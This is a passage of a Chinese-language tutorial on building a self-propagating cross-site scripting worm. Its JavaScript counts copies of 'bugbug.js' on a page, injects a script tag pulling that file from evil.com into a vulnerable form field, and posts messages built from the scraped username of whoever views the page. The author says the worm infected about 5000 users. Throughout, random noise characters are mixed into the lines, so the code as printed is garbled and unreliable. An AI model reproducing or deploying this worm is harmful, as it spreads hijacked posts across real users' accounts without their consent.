8 m" S9 G8 S7 {; m a1 a2 F- J! |0 l. A# f l& H
var resource = xmlHttpReq.responseText;, R/ h# m) b/ ?3 J7 K+ t
2 I0 f# H- \) k2 C: q& b
var id=0;var result;
3 s3 `4 e3 d$ ~7 A+ R9 \& l3 v* b1 {5 L+ V$ w6 y# z2 T, U
var patt = new RegExp("bugbug.js","g"); //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
3 r: @9 V/ x2 i9 _6 A/ j- e
7 t% v5 |& S0 }. O9 twhile ((result = patt.exec(resource)) != null) {
+ D9 e% [8 P% E, J0 y2 O8 E+ d
% ?5 k* x+ G0 |3 Xid++;8 X; A1 ?8 B$ D8 K4 B. C
' y; z+ l5 T; t. H}- a, `& S& f3 F5 W0 c6 z7 }
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){ //这里我们假设要求那个页面蠕虫的数量要有2只.
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5 y3 X5 c: [' t& |7 S6 V6 y5 `( Rno=resource.search(/my name is/);
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var wd='<script src="http://www.evil.com/bugbug.js"</script>'; //wd是存在XSS漏洞的变量.我们在这里写入JS代码.8 g& ?" [% R4 s' J/ K( V
J7 r, g/ @9 m4 M, q6 ^4 svar post="wd="+wd;4 q. c r$ q4 o5 u
U! p% U9 v# R8 [! u& NxmlHttpReq.open(" OST","http://www.vul.com/vul.jsp",false); //把感染代码 POST出去.
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xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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xmlHttpReq.setRequestHeader("content-length",post.length); . H, E6 F, }4 S; M+ ?
_% G1 c- I4 W5 k; j4 e0 hxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");* Q' Y" n2 n) _* c( U6 ?
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xmlHttpReq.send(post);
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复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
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7 ?# y) M! y5 K+ Z. Dvar no=resource.search(/my name is/); //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方 t- d& D% b5 E, {6 o
# r* u( P$ Z# l$ V" { c1 ~var namee=resource.substr(no+21,5); //这里是重组用户名,条件是随便写的.具体情况当然要不同获得./ e. z: T& t+ }
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var wd="Support!"+namee+"<br>"; //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
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" y( ]) ~ }* @/ |var post="wd="+wd;+ m% R7 ?7 [$ B7 W
% P4 ^4 A5 N. b9 S! A" NxmlHttpReq.open(" OST","http://vul.com/vul.jsp",false);" m- @% \, S/ Y( Y* g
% d- F( {1 c7 v7 u% _xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
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8 \0 f9 S% e5 Y/ d9 D4 oxmlHttpReq.setRequestHeader("content-length",post.length);
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7 F( S; Y+ T: V, N H. R; dxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");1 f+ ]4 n7 m2 R8 G
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xmlHttpReq.send(post); //把传播的信息 POST出去.7 a. n2 T I# v; L/ c2 p
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7 h9 B3 r8 W$ K复制代码-----------------------------------------------------总结-------------------------------------------------------------------
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; n) l1 U* D4 k7 `& X. g本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
+ J. ~: |& o- @& Q; z5 J蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
& S2 y/ Q$ V8 t R9 v2 K操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.+ ]5 y R- ^, p2 @( _! y) S5 N
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本文引用文档资料:% P1 k i: X; t* W
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"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
; s8 {6 S* T y6 I# pOther XmlHttpRequest tricks (Amit Klein, January 2003)
8 ~% b w4 P$ f9 c& F& B. P/ v. s9 ~+ w"Cross Site Tracing" (Jeremiah Grossman, January 2003)
$ p' f1 X6 \/ [6 }1 ohttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
% ^# y! n9 \4 ]空虚浪子心BLOG http://www.inbreak.net
Z. z" B. u& y8 aXeye Team http://xeye.us/
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